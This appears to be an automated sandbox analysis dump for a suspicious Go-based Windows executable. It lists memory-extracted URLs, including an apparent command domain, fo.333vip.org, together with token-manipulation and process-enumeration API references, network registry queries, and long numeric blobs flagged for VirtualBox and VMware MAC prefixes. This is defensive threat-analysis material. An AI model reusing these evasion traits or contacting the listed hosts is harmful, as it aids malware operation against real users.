"https://telegram.me/bj00tyrtelegram.mec:\windows\system32c:\windows\system32\inetcomm.dll:\windows\system32\dpapi.dllc:\windows\system32\cryptnet.dllffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exefo.333vip.orgindows" - Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found URL "https://telegram.me/https://fo.333vip.org/eotrust" - Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found URL "https://fo.333vip.org/ttps://fo.333vip.org/o.333vip.orgtterminateprocessaitforsingleobjectcryptcreatehashttps://fo.333vip.org/ttps://fo.333vip.org/ttps://fo.333vip.org/fo.333vip.orgtelegram.meoftware\microsoft\cryptography\oidryptdllimportpublickeyinfoexdows\system32\jsproxy.dll:\windows\system32\dpapi.dllc83433btelegram.me333vip.orginrules_autoupdate_1subcasubcafo.333vip.orgfo.333vip.orgfo.333vip.orgfo.333vip.orgo" - Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found URL "https://a.nel.cloudflare.com/report/v4?s=ecmiq%2bua4zqfrr0cluxorsv7zlxc4t%2bgje6cucjnbyfwrovk5f258dnzfufeuatmj8pmv6%2bhseqy8tpt5iz7ymfsz0fo0djw2fskdw%2bzb5doau8qvxnry4erqqt1g2si" - Source: "00000000-00007980.00000000.140767.7E110000.00000004.mdmp") Found URL "https://web.telegram.org');" - Source: "00000000-00007980.00000000.140767.7E110000.00000004.mdmp") Found URL "http://ye2.c.lencr.org/mitmproxy-236356893075616227624110519622398477259530153583.crl0w" - Source: "00000000-00007980.00000000.140767.7E110000.00000004.mdmp")3c:T7e8,Found string "chacha8" (Indicator: "chacha"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "aes"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "internal/chacha8rand.block" (Indicator: "chacha"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "aeshashbody" (Indicator: "aes"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "runtime.useAeshash" (Indicator: "aes"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "runtime.aeskeysched" (Indicator: "aes"; Source: "00000000-00007980.00000000.140767.01E03000.00000002.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00007980.00000000.140767.369A0000.00000004.mdmp") Found string "operty="og:image" content="data:image/svg+xml;base64 PHN%" (Indicator: "base64"; Source: "00000000-00007980.00000000.140767.7E110000.00000004.mdmp")3d:T54a,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "Process32Next"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "Module32Next"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "Process32First"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "Module32First"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007980.00000000.140767.00092000.00000004.mdmp")3e:T43e,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetTempPath"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe")3f:T498,file/memory contains long string with (Indicator: "CopySid"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetLengthSid"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "RevertToSelf"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "ImpersonateSelf"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "DuplicateToken"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "DuplicateTokenEx"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe") file/memory contains long string with (Indicator: "SetTokenInformation"; File: "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe")40:T106a,"7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "7ffa8ceaba695ecb58868eac30c83433b87854f8ef6ba6d97938bbd462d486a9.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "")41:T6688,"6319603001901320217803401606315313814202121804121214224203024010411725018114416615804409119304215016512723011114017318718008111519117720620307022704506621909218925308316508318923118214824304523920909900521411314420915117214722914107322225319923011720321103407510700404100725508409105118821921800720103723012104003717421415406207918314208019306611721716400812213803022624808601922418608404918809615413702607909807909615710715820200115303418618420718121619819419101619820407804206107906710413812101222103813707905225314522606112814204422808501406914718414711207723800919014324812716412911616504214014623003023006112108207120604319506414018008116324211318322516017716813720913821315115000209901508623802905019809811023911508408002409105909009700616314721724722002212903701700602116622107825322819310700510200110315404413106120002124500814614315012404521409407015319414122500119202123121423913718507408407904915403213704900909111614205822021021817704209720416510801302009011608002705606418607204612000919212205219413123407400022" (Indicator: "080027") "7077204219056102058071000105000087071081015068208089234237022046151171115228081110099209169214212246180120176187130160234024044202113112147159229063240066161040186239170096203081212192067093080122147120253088052077133089118231175068219019181012047045040246242023170121097161105231163206188107192198119118130137209186002073036074100082121175128158145064253189108181132055020054239224057118010130206112123114012205097134232064086052248056112035219000163128131078242062243240232238214083046030182021093209214034033122072045068140130074136213230105154034007035124070209067089047243075172051021220070111008142102217176068197234127133063220180235171123180159003034076116080027247010127216053003215129031092000067073107089116207184015190254073152201106148011161178154048216019051013103142138046061023227138255176095103007026183236094100095223105086181214162064072102189112121110162115074125041052048153054058131165221015226230094048216185068053182123135101056142020242019205179173023058073143207119178088027160199062254193064122222" (Indicator: "080027") "0091091991822200102520181402100331280500360650800270982502131690852282452421600530492171941151130042350740971800290662022360872532281920841481120861850461390371380321972090111181281981432231142492412270131761702092240840751721261482370471751330851660502450040142461132071862311091840741201911842330940060341850940981882150900300951330061610872360072150660790250141402140680820890500322220752480192240401151592540201521791171300550691991690441501760661090101131512421792180790281151470780300420910640912021000682351310301802330981391410352470320110742152491811650920072401621191271802001262432071791020220991071181400632402091050831932300420311941101041261491672382340632461032362411460672130012461301070230841140571170212120902210221141490641512480360071011222032282222011931840412402280491570360311271682352130360341972341782201891412531322060351641321390212391682522552192022100370640782420990701592031280831172111561651521491651900950141820510280691941702351831830972000882300580871851901652381551272391032221800190901221" (Indicator: "080027") "5719603400814415210811502616116321220911117612615918811513007407112407000711920101213416916217916825314504020710211400222920013500511720619503304217813004400320316519906000225022220417315004002216302320625308105714925025123602506408124201013221703402916602215407214118219914814017303211500207920911122822720618310203505523711522708511112701909814022616805419917311606412905416319711202524100510117711104617106223321708205022400411223613303001009903707215316110319708402720106117910314302601308511407405323823022918103202808615212524217206914606019820414000701410206118523904019920014608024311923618901903201121212422123620616409910925303220722810600505609115802010104003515505413106017301608424918413412219918008711216523624507421405812024913309608419104709118313500409108207305012919119605602621302025200707903901114513105017115625308912805817212006812219425216014425113003207911919613523807115418219418001400724825205512920004116617707516711617602400101614200016315824905610703201106703210719708415216604318115911300722808" (Indicator: "005056") "4248242064022002057241039031242243077066035039121157078199049191173255198122063035076138110188177077019174054098090252122236002113108211255017070187071230133046193074209175010189138172237125061008157165218015030237204119142135080107185118064111109081072193080020152031229021238236120034126222165086005056079131148231030252110011164221131001145148088070112174200244191019038042202010016114176058081197133016055150240085199152083047166199188054125200091120235231218203067173162174146142009100212170203075235001002011160220098191046040122248115113254104212065188052247205009122042039002137080228194106157083026247075106010097166233144127078254207254199155218027084041196008208032133042193168230204061026075253143039182140110096244062182037195092028135211217253135144016195157122026111193075051111017100034190070016244191008102095132107141002238249167149144043068052124070245177223117105040138045175054021076115157077178021229219074071049218026170111166147045217186077151216144016238038171098206025026026119010035003124082015239" (Indicator: "005056") "4600403517009715906723115621207007011325222803007100004417919413507621803313822422806816911021802305120707102114021711511803623307106213016720304105813304014607209114512519513825414220214107720600725118408122109706514408310824411403912400023208002715107112823923316516625011808517504023816117120403620607511007918106203125503021521921913716811425403106412920220901015215419402901720919507013925211924011101905405212220422907109714101221214520023013605406120912417509411415510600716721119607302213713007612510603015318523622207510411915621605904416806921906613901523800111502514504208315818406618719320411224522305909014821319422924310712307015912925504121506813804508113603207303901510909425405300623913025414115906302115207906903522412315923309219317620005215524522520305216702818500019500104916724509915007015900916912212110013319306424302921316820820521905603811906108100902321203815008809711203903315218701912701109422303412516520120325418709017901404703415805408824523700914504409503110907703114312416708613914711000304" (Indicator: "080027") "2007724624512304817924111105805606700517304906621522615016623713814411002000303021515912512506315614204314019414606713314216023912305408510900912325425020402314707121500914612823423011218824900103115404212823619123407308824318506518817423723820808610905122318124001716314313900116220903509108315903902508314222901705902502004203420116909401403914322315022514904611323907407805613115123323006824821108818603120203213705721524013112706811715918909911722613710301718216022102525116212016823306017624608820023511006903903107600400304110116517725200323518604102924309020614203908305511719806211120607102300621616823904300624921017802402400622119707016220511513013407124509314114803008424415909203622113608003703409825325510506202920517400705310213017810719124504909409307719606520913314903322721721512922918907205815714403923407211407523509517816621111420422406307919602921113606924208002716306921722301310021016806123310618311702510713316602709717022518924323818606217723006500100202111322906824119714516104500200623210113621012" (Indicator: "080027") "0461160841131342192410221770501150550520531382430350620250340462190800121361691581751690731812121631902270292191881221962391410692391071700961841480320660390380302480821601190551622190680532471512371141181812362030301531040751960431981050740320971552550302520160250641240161401951201922370142161341341782442091681881032352050770590932061531500190891291532220920191362420790401380230850690341920941421811311831702261791090061340880061740322141181890862431551711552130631560691471060892010651901580751850931011761972380020511110490390901931221892381651251742272271172190941381541341531221320180772280210860450611000091822100180890792022180001320700101760630601692401661480771230150171681522102380831750490800271711081012010360641720301710972420911232102300481830030111370950941542431530570090810792052131711900070341361002210140500271560662491290220670230101720930741981991220802350861001441911540690271122200031910031711311440002362091481550650850601061590662191231421590102081790612122271660401820261051530260941070470851701" (Indicator: "080027") "1380611632521611281412152390160480931901540552001452151610582260810822191942400640420101782130112291582310111871940331880131960881830901510941551610622481491811180710191841621172541870371882482511281361062392311460031950460861301441001762351211882530060741021152131961191010071571090100340151910390412180181841240651721942231150871071900291130202411761101952070802471121272171090290872452170570882390730951110901020672121811791460301851480001010230351050611491232520832020081962000491440071942480851361790691600121380912540970750271970621672521292042551902232512071500350641021101631032490611552272000131480801251381202270010011070612551442021381100181461841061331671790820041520501500830140082450592161331212552000590701841200271830730611060271950561301542061740790580072040050561971600441540971701252462501410891760051621111092350471990752162371822012261791740320740012451230481212181211521732220701270990951151720282040090262531491011350200621741232120000122281810860810131461831130260310742172420721940870451631501961750" (Indicator: "005056") "0195073078155109238041031073090112189048022252068117089178124188240024017121246029049159084228215012182045082253009119059109128099081106151002191140147195100160071175116125190003152133170254043175240136213197248012175040105158013172005056240232067087084205203152163229068047162098209009158003038183170050233119031120190143174078199065100160159214215244161071147056207176194088038136210115166145207232206026237006135162099201198042030085137101206076182042050147050059131136096148163242042196010063202137182136038165246018033209204179080040119202176223191202099219016212116222079041031155180000169177007244223199178171236004078130049222154253004237038121017210071196085094250167131126250025182139136111209003165074154242134191226020194173157054112033205026098139016189175124141090112097234057003180180212107042134091034083044216149182250243154033105179199074113013174019031114013063216016113035178011141074052214073016085239173083200102008048039187057206254013174122149222107120054046053223009247023129253062153100007235113087" (Indicator: "005056") "7112111034056072115244107161084083015219235137222192063042167068163041122105150085238231079016033059221074139166145114139001104225182247039097030253254252109134143021138069085122029069062209172189164173065165069220043151112174019164143016011123164241091030169215207128214030219123173113072204045034090030084139039152065163063020189213058120182101104044159008127169192004051089158086202174089063076140050143145103213110000151030213154243185044022096091226017013006212121114128098111238090033249117148036029171158025184005144011054138128162112122152223163027198119041234010003212030223074070010129069060110072015165067036254047065072217129079121165193000105076239014010083041026008118188038217011001162084222149105248023250083104036018052192142150086089175246112195017221187000181030134136166130109150151093220167060145251235134085212029144208175214121086192212051026181225060201163206058057152074015097144165080027207011163048146155230063174005244070158126038000155050221071253229154103176224091149180171250183241023118194114" (Indicator: "080027") "6044151161057050108235187186077092212135006056123115157241207132127121229087119086216021108144233002233057148212146135120107189244102244157192152052105167135008176100027005231207168039083174118163125188218086046093167115212135157235038022251079100226184217151120163234166219099165062214181012190164048128019236019041059223200105080042145066084013072013053193110009235026023229169138186049052248169039016033082049009040239206161254206061078050231168053120028220003190195102125247252004019167047170107219134080027180015109144079164252105127113198086135095170213179217226241124239049173171252092229037068114191031252079059019087073198048093097083076125223196188172039103138160042142077238105177228165153058111046086136024028162128199253094076111079166109058099193237133241202137229244106048171124213189128174248063086192129073104032069251071175082101049130238031252176178094067204207106176012194210066158233124033154105244176213171100076103209185169168216233046061182154185010008041025156228117180089087106054242191061170247187" (Indicator: "080027") "1071048015094059070101000068196098003216011166064030081187192196008098101097167228180115047195026253130047013024214015211119075240024111169218168011117108241054241002068020197070088197160024209075239185125159193224019029242223208135225123212224007193141061051171005192073022099026157029141060228013158003009010112032235134000107018050025157143186079027073124194069194008169098027044040125003001203208010142239200138011103170246114200005038007188026197073033197246207175170041078222249238243171024231084201175038086081058079124104029139013145109076096147240087030060193076089232013184052101170083183054136163157241087040131207169049050192011250229227098221074023159066073017094002253224088149132190041157163141221053184199116031158021205207198091099224199174235059028252232193176247165250246076097104108170152004023104016051196232009254157086073164034216005056144041122000205083099251050108083107125162139138091122218197163111015179125202246211198195200062175153128037096030217014248049170039036130093026070207209125106122172" (Indicator: "005056") "4220122822302409023005725024508500505614624214311213107624722322318024111217214319100623612417012810409207822100401425201025304515620107705503717912407104204800620324413410406520101415123901613110302510108825101210315110716519308916901916316218706813123404102312716919621917606505303324304225305204724002607918110904422422325211102407111721616107401923211222004607200420203205107415509806009402900406212525115221115215910705606205524320817700020516221306218300217214121412620916619118406117605904600020109803506604113007614911317519906801000019115713905914600407403912820809915001107124300414108408520822910311411808302917707120425003515224907111406117423525106114721811317911507015809720103519918107721016119200109620019910806116100820311611106115202110212823521501603714225214608222017206605216106823212200722624824717122023311009622100815312512423613500607522910025001808915405519214410618008821105111221320818221600025012018905223507513007504722820500813219801800020604517307825109613904521118910803401223620702511424220" (Indicator: "005056") "2411916201117024502411901518214821806623119422202910407602015317812710104413007809301110623100113010114404321719719310715601518210312912723121120423412516904410803304009812611617304310001409708517922004703410904622806117909225503309913807910304525106706709816424404819214104404705519522514210609312108909312019225108615302706520607902501604505504914815713524622012002018503400706706211919709000703920511223122412505816803404500511501603721624101210912308910924213410923522505303623702823501301100410706614625409401818919623420422910819821924903324012420207915410913721206214317006612609221714219222204201721719408609118117422210010102522804107723408020021723924212011811108918919909725301002204413205608002715323902105015421203308001716301907501400820624620522302923909522206100122207703716421519111818322102204702716616719204909716700515914200900721903818813907207908008419318004920815417703309624723110222107523803103912522116816419520010703613410402518510422722622511900025120804204801103906013817718413212513215010715911" (Indicator: "080027") "1105106513324218016513310722920802407910418105716210911921609019405620617806703806018008617117613704602800604025509707617503611709915413121521615002201719313407023716020505312512612412921907202110017521317317711416923507409825022122816502403324808122606302123118513024808702014506600518406418410420305719218405119411702020614020117708500010119304204703817213910005111424009407724606316510911409224921200716313411625204508414223824803517905923120219519624102120316201802404917620000815406806000103615903624208415501007400907217615000818106920609808909307504303605904802318511303917117118318317122608312604007820212301010717717721720811516214408201103902301106709522712713917318419504005707708704710504709515219704410409819201705022021801608418018703404008801802207615914125006100421004108819923814302115603402901817514109810922714417520218816819412811924105004325507424624623112003016315200610305715005108109622917308618108411304921303024717222217924525522419400505618409101018321823602215913417308116625209201917910520406122" (Indicator: "005056") "3711906616018119316906718400506723108521202324404317020408718300321405600801505214106900508016710119800615905720903906911901014102509115123523018814208410700415516100322821900912916103419220607109008910022712103614307008917924324203915022519310815004615911015308523202520613110510415613506114211717421923103308404700402303220217524912408511807300018711410109019621013016409506002502220815523708711923124123507909808819712714113312700518119417605907415801425005204723409314109424122701920113621322019816703813905808718904707625410520107522814824116709216503611615118708002701205123616416420511004112912715613409507313602106816309221918518808415811800110813904323916721909211910711424818116619206619817903914217015705117423812005317213909402518424218919716522317621001218301608220511207615717002712116703605015305524406624312918618004506215106819008308522520916008415111209703708405819803107207416909315712714004117605500510002203718017215804409820915912023800122807808909206504201617908818109007724010025212914924219425517124" (Indicator: "080027") "7033233174023120021240127086237234176094213000155179066190119108074066081031080157234065190075021248201004044037095201092060207231235107174082202122011086041024107183251043235049085135025225234103230069217083121108203031146255230183187154160164180203111102121075201067088191193164100164233038165141201102223076175112118233164003215171162022057224160024117129088077095056069120063103102184029009232235082196139141057023016150165132200011033050196225150133233135155254083121062194101191003036118229209116030099060032157149020184026027145202056176239202091025162134101010139244051024089079097066115151007162038196071224009002169240020097139039190244106161182036248093122043064140018027123080003199080027203253011094189057239138102078188214198132182200251010103152251133167233226102068196178222160201047174063201168190220076130146065080005104177173208202094223036030193115098046006134029132221204030073069229036217116020051118195123249245111065063111097153108023162173249237125211138134204037027191205100071188253197227231099177" (Indicator: "080027") "8021188236071144203240054133080027043050043136253223224066053238186075121108057240198045017240237071066128006224029066147185248116219068019070084044246127158098048199157197142060197227191124111066190230171127172045003140179128088174164096182142158232223133136255003133100060074142166201047254141086002070233109012117163090139217235077018095155138213107123150209108060106199051224050143212150110213198011121180171130148060071120218249001115092055037186060189134072004120016093201007040203003008167071150113114088240106070240012087244210005165079200173217001023253121214138187112058179188097083187160063041018078200187226231121034049153146181076145205215223180072178076243246089027241069032060195062155242080200067170203098110141156078041140198240095147244231126178011093027254002120052033016186080250200241054019190065107092000007178027000070136067145173119142115084118133175116187038143153246055158238233198043040107218075204102174091139228203247014096114020092107149168247255247104195008144045204033096039058132083130023075" (Indicator: "080027") "2018102218318101903219002225113906318518805300703418522123020322909415809425105715204009011403104112920613424202907613217603820610716008804800501214806024022614219503423219412300320323604321503010003917115308008205312913502725421820923508115805907315805808825120312521503314806601120014019713603914722622908221903801922724021912710224921102904614617517718902000705720519623123521703007300912606623405105425213012619213725502022705123019216111324618112624620109601717915715107921222605810114813717712609921101812408911723304000415409405402119202118918912905322217705424222717714919124717424612103809924010221913008805418815518504702005020813702809707211115225312111919512212309212502212901300505601003225021114906724500520905806006202318601014705210202813722006908518124607010300500011922102204000120925422210703309614510900420706604224912401810400609324019113113708017005717723710319815300704100610504615016203216617903902425216917007015313118505405608723515215419720914707523902601809215523321821019011909104602213501809324" (Indicator: "005056") "3119421416909707925500005709711113308209414818514718622103900013610923417106020800210623515302115611906814611010711303610518705020701920909303323009024500114923515108908324404620204017500009520806812417124717708803804801814503115215720211124703220513924518821022300204721410511604213017808214713821322710312317814507321524313305003312415312720610225407804806818112016607915113718010413413215623808419512318706924718009220906705103111921709425013708615107600422810416709103412923705805110316008904814917302319005404404411710609002400010017109211817121812615523400311914217323516721119223325419613609609819809010019412321110817005806801824105215206614218707116523014815816715323425207212500416810209015705812416224918711205612516912417712315206823003011701202207806213303103015811400819825322921508002721621922506018418818511307605408003722118323813404704204424415106820306617412914120115222601008714700616506716911322210315308614306203509818302314910723910400005624724017413704712315914320805324822901519618105203124320401410" (Indicator: "080027") "9065004248042011205214254152018021226114167094098123211223100103134034058081129123082095058251247190140164226036199192166042183030182248217062143224251082203197226227138174107051172099035094120232054005108127220117147174067251066245052230123008107083229070086197127254026055162056024156015112017154015010236039114249174030143221109242031243188151127012237168219186116080027217081094023125162040036231161227061150113113217198200120098123143120183174059179218149255025099212198146097092116069063023024227100240103120044009104054250255053066059042207010246150123006001110219251178254171050136180006160004222010200233160058242158224085179032124094198066067176021230250046088110208063185035042255201230031198200103118227146012075020165007029250112151078110047199106151030005145130231245184163053156203082236121150019128038210060151025098210076117148247154034234006158071224025016021000140075198082219190121183025205068147176144048172217236196075136112003151059123040152009209105073110250209134000120108044021066066015220241001206" (Indicator: "080027") "0351641942522381501271430021250650120981762280800001820602101260880361721181631940910210540771540871361600210860830601830531041711401480800120530230961381032500371150671082470380201980960041231651290652320460800552502121510421730432441500422200891021390121092010681481361152281121051800081142420210271360990731970671922252121332242200940311090411942470780391191332130600291212061542090752022250961920002351281491202420141500030030891550562140151391731580741542341420020232411821611661772000012481142140920960130272540990611030821811331590691100071442022072500691600192140010082290430251662080501980530130692110792022391050301520621050750280071842010752001140040132520520650461191372201880211212360690710291110910052450311551811590540511492200941691802061062530940151362521200641810310160870140890842370041730152342010560141870062262150410860970881060320492080412500650731060181480240050561170392272071590280601542260660100940270720792201580181181580642280381601571602070270030510580421451800431700511932101412382110420172101" (Indicator: "005056") 